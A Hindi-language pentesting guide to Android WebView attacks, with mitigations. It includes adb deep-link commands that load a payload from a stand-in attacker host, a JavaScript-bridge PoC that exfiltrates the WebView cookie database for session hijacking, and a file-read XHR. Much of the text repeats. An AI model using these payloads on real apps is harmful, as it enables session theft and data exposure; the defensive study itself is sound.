WebView हमले

Reading time: 20 minutes

WebView कॉन्फ़िगरेशन और सुरक्षा पर मार्गदर्शिका

WebView कमजोरियों का अवलोकन

Android विकास का एक महत्वपूर्ण पहलू WebViews का सही हेंडलिंग है। यह मार्गदर्शिका WebView उपयोग से जुड़े जोखिमों को कम करने के लिए महत्वपूर्ण कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करती है।

WebView में फ़ाइल एक्सेस

डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। इस कार्यक्षमता को setAllowFileAccess() मेथड द्वारा नियंत्रित किया जाता है, जो Android API level 3 (Cupcake 1.5) से उपलब्ध है। वे एप्लिकेशन जिनके पास android.permission.READ_EXTERNAL_STORAGE परमिशन है वे external storage से file://path/to/file फ़ाइल URL स्कीम का उपयोग करके फ़ाइलें पढ़ सकते हैं।

अप्रचलित सुविधाएँ: Universal and File Access From URLs

• Universal Access From File URLs: यह अप्रचलित फीचर file URLs से cross-origin अनुरोधों की अनुमति देता था, जो संभावित XSS हमलों के कारण गंभीर सुरक्षा जोखिम पैदा करता था। Android Jelly Bean और उसके बाद के लक्षित किए गए ऐप्स के लिए इसका डिफ़ॉल्ट सेटिंग अक्षम (false) है।
• इस सेटिंग की जाँच करने के लिए getAllowUniversalAccessFromFileURLs() का उपयोग करें।
• इस सेटिंग को बदलने के लिए setAllowUniversalAccessFromFileURLs(boolean) का उपयोग करें।
• File Access From File URLs: यह फीचर, जो अप्रचलित भी है, अन्य file scheme URLs से सामग्री तक पहुँच को नियंत्रित करता था। Universal access की तरह ही, बेहतर सुरक्षा के लिए इसका डिफ़ॉल्ट भी अक्षम है।
• जाँच के लिए getAllowFileAccessFromFileURLs() और सेट करने के लिए setAllowFileAccessFromFileURLs(boolean) का उपयोग करें।

सुरक्षित फ़ाइल लोडिंग

फाइल सिस्टम एक्सेस को अक्षम करते हुए भी assets और resources तक पहुँच के लिए setAllowFileAccess() मेथड का उपयोग किया जाता है। Android R और उससे ऊपर के लिए डिफ़ॉल्ट सेटिंग false है।

• getAllowFileAccess() से जाँच करें।
• सक्षम या अक्षम करने के लिए setAllowFileAccess(boolean) का उपयोग करें।

WebViewAssetLoader

WebViewAssetLoader क्लास लोकल फ़ाइलें लोड करने का आधुनिक तरीका है। यह local assets और resources तक पहुँच के लिए http(s) URLs का उपयोग करता है, जिससे Same-Origin policy के अनुरूप रहता है और CORS प्रबंधन को सरल बनाता है।

loadUrl

यह एक सामान्य फ़ंक्शन है जो WebView में मनमाने URL लोड करने के लिए उपयोग किया जाता है:

webview.loadUrl("<url here>")

बेशक, किसी potential attacker को कभी भी उस एप्लिकेशन द्वारा लोड होने वाले URL को नियंत्रित करने की अनुमति नहीं मिलनी चाहिए।

JavaScript और Intent Scheme हैंडलिंग

• JavaScript: WebViews में डिफ़ॉल्ट रूप से Disabled रहता है, इसे setJavaScriptEnabled() के माध्यम से सक्षम किया जा सकता है। सावधानी बरतें क्योंकि बिना उचित सुरक्षा उपायों के JavaScript को सक्षम करने से सुरक्षा कमजोरियाँ पैदा हो सकती हैं।
• Intent Scheme: WebViews intent scheme को हैंडल कर सकते हैं, जो सावधानीपूर्वक प्रबंधित न होने पर संभावित रूप से exploits की ओर ले जा सकता है। एक उदाहरण भेद्यता में एक exposed WebView parameter "support_url" शामिल था जिसे cross-site scripting (XSS) attacks को execute करने के लिए exploit किया जा सकता था।

adb का उपयोग करके Exploitation का उदाहरण:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android एक ऐसा फीचर प्रदान करता है जो WebView में चलने वाली JavaScript को native Android app functions को कॉल करने में सक्षम बनाता है। यह addJavascriptInterface मेथड का उपयोग करके प्राप्त किया जाता है, जो JavaScript को native Android functionalities के साथ इंटीग्रेट करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी आवश्यक है क्योंकि यह मेथड WebView के भीतर सभी पेजों को रजिस्टर किए गए JavaScript Interface ऑब्जेक्ट तक पहुँचने की अनुमति देता है, जो कि इन इंटरफेस के माध्यम से संवेदनशील जानकारी सामने आने पर सुरक्षा जोखिम पैदा कर सकता है।

• अत्यधिक सतर्कता आवश्यक है उन apps के लिए जो Android versions below 4.2 को target करती हैं, क्योंकि एक vulnerability है जो malicious JavaScript के जरिए reflection का उपयोग कर remote code execution की अनुमति देती है।

Implementing a JavaScript Bridge

• JavaScript interfaces native code के साथ interact कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक class method को JavaScript के लिए expose किया गया है:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge को WebView में एक interface जोड़कर सक्षम किया जाता है:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• JavaScript के माध्यम से संभावित दुरुपयोग, उदाहरण के लिए XSS attack के जरिए, exposed Java methods को कॉल करने में सक्षम बनाता है:

<script>
alert(javascriptBridge.getSecret())
</script>

• जोखिम कम करने के लिए, restrict JavaScript bridge usage को APK के साथ भेजे गए कोड तक सीमित करें और दूरस्थ स्रोतों से JavaScript लोड होने को रोकें। पुराने डिवाइस के लिए, minimum API level को 17 पर सेट करें।

Reflection-based Remote Code Execution (RCE)

• एक documented method विशिष्ट payload execute करके reflection के माध्यम से RCE हासिल करने की अनुमति देता है। हालांकि, @JavascriptInterface annotation अवैध method access को रोकता है, जिससे attack surface सीमित हो जाता है।

Remote Debugging

• Remote debugging Chrome Developer Tools के साथ संभव है, जो WebView content के भीतर interaction और arbitrary JavaScript execution की अनुमति देता है।

Enabling Remote Debugging

• Remote debugging को application के भीतर सभी WebViews के लिए निम्नलिखित तरीके से सक्षम किया जा सकता है:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• ऐप्लिकेशन के debuggable state के आधार पर debugging को शर्तीय रूप से सक्षम करने के लिए:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate arbitrary files

• XMLHttpRequest का उपयोग करके arbitrary files की exfiltration को दर्शाता है:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Webview Attacks

WebView कॉन्फ़िगरेशन और सुरक्षा पर मार्गदर्शिका

WebView कमजोरियों का अवलोकन

Android विकास का एक महत्वपूर्ण पहलू WebViews को सही तरीके से हैंडल करना है। यह मार्गदर्शिका WebView उपयोग से जुड़े जोखिमों को कम करने के लिए प्रमुख कॉन्फ़िगरेशन और सुरक्षा प्रथाओं को उजागर करती है।

WebViews में File Access

डिफ़ॉल्ट रूप से, WebViews फ़ाइल एक्सेस की अनुमति देते हैं। यह कार्यक्षमता setAllowFileAccess() मेथड द्वारा नियंत्रित होती है, जो Android API level 3 (Cupcake 1.5) से उपलब्ध है। android.permission.READ_EXTERNAL_STORAGE परमिशन वाले एप्लिकेशन file URL स्कीम (file://path/to/file) का उपयोग करके external storage से फाइलें पढ़ सकते हैं।

Deprecated सुविधाएँ: Universal and File Access From URLs

• Universal Access From File URLs: यह deprecated फीचर file URLs से cross-origin अनुरोधों की अनुमति देता था, जिससे संभावित XSS attacks के कारण महत्वपूर्ण सुरक्षा जोखिम पैदा होता था। Android Jelly Bean और उससे नए लक्षित करने वाले ऐप्स के लिए डिफ़ॉल्ट सेटिंग disabled (false) है।
• इस सेटिंग की जाँच के लिए getAllowUniversalAccessFromFileURLs() का उपयोग करें।
• इस सेटिंग को बदलने के लिए setAllowUniversalAccessFromFileURLs(boolean) का उपयोग करें।
• File Access From File URLs: यह फीचर, जो भी deprecated है, अन्य file scheme URLs से कंटेंट तक पहुँच को नियंत्रित करता था। Universal access की तरह, बेहतर सुरक्षा के लिए इसकी डिफ़ॉल्ट सेटिंग disabled है।
• जाँच के लिए getAllowFileAccessFromFileURLs() और सेट करने के लिए setAllowFileAccessFromFileURLs(boolean) का उपयोग करें।

Secure File Loading

assets और resources तक पहुँच बनाए रखते हुए file system access को अक्षम करने के लिए setAllowFileAccess() मेथड का उपयोग किया जाता है। Android R और उसके बाद के संस्करणों में डिफ़ॉल्ट सेटिंग false है।

• जाँच के लिए getAllowFileAccess() का उपयोग करें।
• सक्षम/अक्षम करने के लिए setAllowFileAccess(boolean) का उपयोग करें।

WebViewAssetLoader

The WebViewAssetLoader class लोकल फाइलें लोड करने के लिए आधुनिक तरीका है। यह लोकल assets और resources तक पहुँचने के लिए http(s) URLs का उपयोग करता है, जो Same-Origin policy के अनुरूप है और इसलिए CORS प्रबंधन को आसान बनाता है।

loadUrl

यह webview में arbitrary URLs लोड करने के लिए उपयोग किए जाने वाला एक सामान्य फ़ंक्शन है:

webview.loadUrl("<url here>")

बेशक, किसी संभावित हमलावर को कभी भी उस एप्लिकेशन द्वारा लोड किए जाने वाले URL को नियंत्रित करने में सक्षम नहीं होना चाहिए।

Deep-linking into internal WebView (custom scheme → WebView sink)

कई ऐप्स custom schemes/paths रजिस्टर करते हैं जो user-supplied URL को इन-ऐप WebView में रूट करते हैं। यदि deep link exported (VIEW + BROWSABLE) है, तो एक हमलावर ऐप को उसके WebView context के अंदर मनमाना remote content प्रदर्शित करने के लिए मजबूर कर सकता है।

Typical manifest pattern (simplified):

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

सामान्य कोड प्रवाह (सरलीकृत):

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

आक्रमण पैटर्न और PoC via adb:

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

प्रभाव: रिमोट पेज ऐप के WebView संदर्भ में चलता है (app WebView प्रोफ़ाइल के cookies/session, किसी भी exposed @JavascriptInterface तक पहुंच, और settings पर निर्भर करते हुए content:// और file:// तक संभावित पहुंच)।

हंटिंग टिप्स:

• Decompiled स्रोतों में getQueryParameter("url"), loadUrl(, WebView sinks, और deep-link handlers (onCreate/onNewIntent) के लिए grep करें।
• VIEW+BROWSABLE filters और custom schemes/hosts के लिए manifest की समीक्षा करें जो उन activities से मैप होते हैं जो बाद में WebView को स्टार्ट करती हैं।
• जाँच करें कि क्या multiple deep-link paths हैं (उदा., एक “external browser” path बनाम एक “internal webview” path) और उस path को प्राथमिकता दें जो ऐप के अंदर प्रदर्शित होता है।

सत्यापन से पहले JavaScript सक्षम करना (order-of-checks bug)

एक सामान्य hardening गलती यह है कि target URL के अंतिम allowlist/verification पूरे होने से पहले JavaScript सक्षम कर देना या relaxed WebView settings कॉन्फ़िगर कर देना। यदि verification helpers के बीच inconsistent है या बहुत देर से होता है, तो एक attacker deep link उस स्थिति तक पहुँच सकता है जहाँ:

1. WebView settings लागू हो जाते हैं (उदा., setJavaScriptEnabled(true)), और
2. अविश्वसनीय URL JavaScript सक्षम के साथ लोड हो जाता है।

बग पैटर्न (pseudocode):

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

क्यों यह शोषणयोग्य है

• असंगत सामान्यीकरण: सहायक URL को अंतिम जाँच से अलग तरीके से विभाजित/पुनर्निर्मित किया जाता है, जिससे मेल न खाने वाली स्थितियाँ बनती हैं जिनका कोई दुर्भावनापूर्ण URL फायदा उठा सकता है।
• गलत क्रम की pipeline: चरण 2 में JS सक्षम करना पूरे WebView instance पर लागू होता है, और अंतिम लोड को प्रभावित करता है भले ही बाद में सत्यापन असफल हो।

परीक्षण कैसे करें

• ऐसे deep-link payload बनाएं जो प्रारंभिक जाँच पार कर लें और WebView configuration साइट तक पहुँचें।
• adb का उपयोग करके implicit VIEW intents भेजें जो url= पैरामीटर पहुँचाते हैं जिसे आप नियंत्रित करते हैं:

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

यदि exploitation सफल हुआ, तो आपका payload ऐप के WebView में JavaScript चलाता है। वहां से, exposed bridges के लिए probe करें:

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

रक्षात्मक मार्गदर्शन

• एक बार canonicalize करें; एक ही source of truth (scheme/host/path/query) के खिलाफ सख्ती से validate करें।
• सभी allowlist checks पास होने के बाद और trusted content लोड करने से ठीक पहले ही setJavaScriptEnabled(true) कॉल करें।
• अनट्रस्टेड origins को @JavascriptInterface एक्सपोज़ करने से बचें; per-origin gating को प्राथमिकता दें।
• trusted vs untrusted content के लिए per-WebView instances पर विचार करें, और डिफ़ॉल्ट रूप से JS disabled रखें।

JavaScript और Intent Scheme हैंडलिंग

• JavaScript: WebViews में डिफ़ॉल्ट रूप से disabled रहता है, इसे setJavaScriptEnabled() के माध्यम से enabled किया जा सकता है। सावधानी बरतें क्योंकि बिना उचित सुरक्षा उपायों के JavaScript को सक्षम करने से security vulnerabilities हो सकती हैं।
• Intent Scheme: WebViews intent scheme को handle कर सकते हैं, जो यदि सावधानी से प्रबंधित न हो तो exploits का कारण बन सकता है। एक उदाहरण vulnerability में एक exposed WebView parameter "support_url" शामिल था जिसे cross-site scripting (XSS) attacks को execute करने के लिए exploit किया जा सकता था।

adb का उपयोग करके शोषण का उदाहरण:

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Android एक ऐसा फीचर प्रदान करता है जो WebView में मौजूद JavaScript को native Android app functions को कॉल करने में सक्षम बनाता है। यह addJavascriptInterface मेथड का उपयोग करके हासिल किया जाता है, जो JavaScript को native Android कार्यक्षमता के साथ एकीकृत करता है, जिसे WebView JavaScript bridge कहा जाता है। सावधानी बरतनी चाहिए क्योंकि यह मेथड WebView के सभी पेजों को रजिस्टर्ड JavaScript Interface ऑब्जेक्ट तक पहुँचने की अनुमति देता है, जिससे यदि इन इंटरफेसों के माध्यम से संवेदनशील जानकारी उजागर हो तो सुरक्षा जोखिम पैदा होता है।

• Extreme caution is required उन apps के लिए जो Android versions 4.2 से नीचे लक्षित की गई हैं, क्योंकि एक vulnerability मौजूद है जो malicious JavaScript और reflection का उपयोग करके remote code execution की अनुमति देती है।

JavaScript Bridge को लागू करना

• JavaScript interfaces native कोड के साथ इंटरैक्ट कर सकते हैं, जैसा कि उदाहरणों में दिखाया गया है जहाँ एक class method को JavaScript के लिए उपलब्ध कराया गया है:

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge WebView में interface जोड़कर सक्षम किया जाता है:

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• JavaScript के माध्यम से संभावित शोषण, उदाहरण के लिए XSS attack के जरिए, exposed Java methods को कॉल करने की अनुमति देता है:

<script>
alert(javascriptBridge.getSecret())
</script>

• जोखिम कम करने के लिए, restrict JavaScript bridge usage को APK के साथ शिप किए गए code तक सीमित रखें और दूरस्थ स्रोतों से JavaScript लोड होने से रोकें। पुराने डिवाइसों के लिए, minimum API level को 17 पर सेट करें।

dispatcher-style JS bridges का दुरुपयोग (invokeMethod/handlerName)

एक आम पैटर्न एक single exported method होता है (e.g., @JavascriptInterface void invokeMethod(String json)) जो हमलावर-नियंत्रित JSON को generic object में deserialize करता है और दिए गए handler name के आधार पर dispatch करता है। सामान्य JSON स्वरूप:

{
"handlerName": "toBase64",
"callbackId": "cb_12345",
"asyncExecute": "true",
"data": { /* handler-specific fields */ }
}

जोखिम: यदि कोई पंजीकृत handler हमलावर के डेटा पर privileged क्रियाएँ करता है (उदा., सीधे फाइल रीड), तो आप इसे उपयुक्त रूप से handlerName सेट करके कॉल कर सकते हैं। परिणाम आमतौर पर पेज कॉन्टेक्स्ट में evaluateJavascript के माध्यम से और callback/promise तंत्र द्वारा, जो callbackId से कुंजीबद्ध होता है, पोस्ट किए जाते हैं।

खोज के प्रमुख कदम

• Decompile और addJavascriptInterface( के लिए grep करें ताकि bridge object नाम पता चले (e.g., xbridge).
• In Chrome DevTools (chrome://inspect), Console में bridge object नाम टाइप करें (e.g., xbridge) ताकि exposed fields/methods को सूचीबद्ध किया जा सके; किसी generic dispatcher जैसे invokeMethod को देखें.
• getModuleName() लागू करने वाली classes या registration maps के लिए search करके handlers को सूचीबद्ध करें.

Arbitrary file read via URI → File sinks (Base64 exfiltration)

यदि कोई handler किसी URI को लेता है, Uri.parse(req.getUri()).getPath() को कॉल करता है, new File(...) बनाता है और उसे allowlists या sandbox checks के बिना पढ़ता है, तो आपको app sandbox में arbitrary file read मिलता है जो WebView सेटिंग्स जैसे setAllowFileAccess(false) को बायपास कर देता है (यह रीड native code में होता है, WebView network stack के माध्यम से नहीं)।

PoC to exfiltrate the Chromium WebView cookie DB (session hijack):

// Minimal callback sink so native can deliver the response
window.WebViewJavascriptBridge = {
_handleMessageFromObjC: function (data) { console.log(data) }
};

const payload = JSON.stringify({
handlerName: 'toBase64',
callbackId: 'cb_' + Date.now(),
data: { uri: 'file:///data/data/<pkg>/app_webview/Default/Cookies' }
});

xbridge.invokeMethod(payload);

नोट्स

• Cookie DB paths डिवाइस/प्रोवाइडर के अनुसार भिन्न होते हैं। सामान्य पाथ:
• file:///data/data/<pkg>/app_webview/Default/Cookies
• file:///data/data/<pkg>/app_webview_<pkg>/Default/Cookies
• The handler returns Base64; इसे डिकोड करके cookies पुनः प्राप्त करें और ऐप के WebView प्रोफ़ाइल में उपयोगकर्ता की नकल करें।

डिटेक्शन टिप्स

• ऐप का उपयोग करते समय evaluateJavascript के माध्यम से लौटाए गए बड़े Base64 स्ट्रिंग्स पर ध्यान दें।
• ऐसे handlers के लिए decompiled स्रोतों में grep करें जो uri/path स्वीकार करते हैं और उन्हें new File(...) में बदलते हैं।

Bypassing WebView privilege gates – endsWith() host checks

विशेषाधिकार निर्णय (selecting a JSB-enabled Activity) अक्सर host allowlists पर निर्भर करते हैं। एक दोषपूर्ण पैटर्न है:

String host = Uri.parse(url).getHost();
boolean z = true;
if (!host.endsWith(".trusted.com")) {
if (!".trusted.com".endsWith(host)) {
z = false;
}
}
// z==true → open privileged WebView

समतुल्य तर्क (De Morgan’s):

boolean z = host.endsWith(".trusted.com") ||
".trusted.com".endsWith(host);

यह कोई origin check नहीं है। कई अनपेक्षित hosts दूसरे क्लॉज को पूरा कर लेते हैं, जिससे untrusted domains privileged Activity में प्रवेश कर जाते हैं। हमेशा scheme और host को एक कड़े allowlist के खिलाफ सत्यापित करें (exact match या dot-boundaries के साथ सही subdomain check), न कि endsWith तरकीबों से।

javascript:// execution primitive via loadUrl

एक बार privileged WebView के अंदर पहुँच जाने पर, apps कभी-कभी inline JS को निम्नलिखित तरीके से execute करते हैं:

webView.loadUrl("javascript:" + jsPayload);

If an internal flow उस संदर्भ में loadUrl("javascript:...") ट्रिगर करता है, तो inject किया गया JS ब्रिज एक्सेस के साथ execute होता है भले ही external page सामान्यतः allowed न हो। Pentest चरण:

• ऐप में loadUrl("javascript: और evaluateJavascript( के लिए grep करें।
• privileged WebView की नेविगेशन मजबूर करके उन code paths तक पहुंचने की कोशिश करें (उदा., permissive deep link chooser के माध्यम से)।
• primitive का उपयोग करके dispatcher को कॉल करें (xbridge.invokeMethod(...)) और sensitive handlers तक पहुँचें।

Mitigations (डेवलपर चेकलिस्ट)

• Strict origin verification for privileged Activities: canonicalize करके scheme/host की तुलना एक explicit allowlist के खिलाफ करें; endsWith-आधारित जांच से बचें। जब उपयुक्त हो तो Digital Asset Links पर विचार करें।
• ब्रिजेस को केवल trusted pages तक सीमित करें और हर कॉल पर trust को पुनः जाँचें (per-call authorization)।
• filesystem-capable handlers को हटा दें या दृढ़ता से सुरक्षित रखें; raw file:// paths के बजाय allowlists/permissions के साथ content:// को प्राथमिकता दें।
• privileged contexts में loadUrl("javascript:") से बचें या इसे मजबूत जांचों के पीछे gate करें।
• याद रखें कि setAllowFileAccess(false) ब्रिज के माध्यम से native file reads से सुरक्षा प्रदान नहीं करता।

JSB enumeration और debugging टिप्स

• Chrome DevTools Console का उपयोग करने के लिए WebView remote debugging सक्षम करें:
• App-side (debug builds): WebView.setWebContentsDebuggingEnabled(true)
• System-side: LSPosed जैसे modules या Frida scripts release builds में भी debugging force-enable कर सकते हैं। Cordova WebViews के लिए उदाहरण Frida snippet: cordova enable webview debugging
• DevTools में, bridge object का नाम टाइप करें (उदा., xbridge) ताकि exposed members दिखें और dispatcher को probe किया जा सके।

Reflection-based Remote Code Execution (RCE)

• एक documented method reflection के माध्यम से RCE हासिल करने की अनुमति देती है by executing a specific payload। हालांकि, @JavascriptInterface annotation unauthorized method access को रोकता है, जिससे attack surface सीमित होता है।

Remote Debugging

• Remote debugging संभव है Chrome Developer Tools के साथ, जो WebView content के भीतर interaction और arbitrary JavaScript execution सक्षम करता है।

Enabling Remote Debugging

• Remote debugging एक application के भीतर सभी WebViews के लिए इस तरह सक्षम किया जा सकता है:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• एप्लिकेशन की debuggable स्थिति के आधार पर debugging को शर्तानुसार सक्षम करने के लिए:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrate मनमानी फ़ाइलें

• XMLHttpRequest का उपयोग करके मनमानी फ़ाइलों की exfiltration को दर्शाता है:

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

संदर्भ

• Android WebViews के file access attack vectors की समीक्षा
• WheresMyBrowser.Android (डेमो ऐप)
• Android WebView संदर्भ
• Deep Links & WebViews Exploitations – भाग II
• Deep Links & WebViews Exploitations – भाग I
• Samsung S24 Exploit Chain Pwn2Own 2024 वॉकथ्रू
• Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
• प्रदर्शन वीडियो
• Android ऐप में JSB के माध्यम से Account takeover – tuxplorer.com
• LSPosed – systemless Xposed framework
• Frida codeshare: Cordova – enable WebView debugging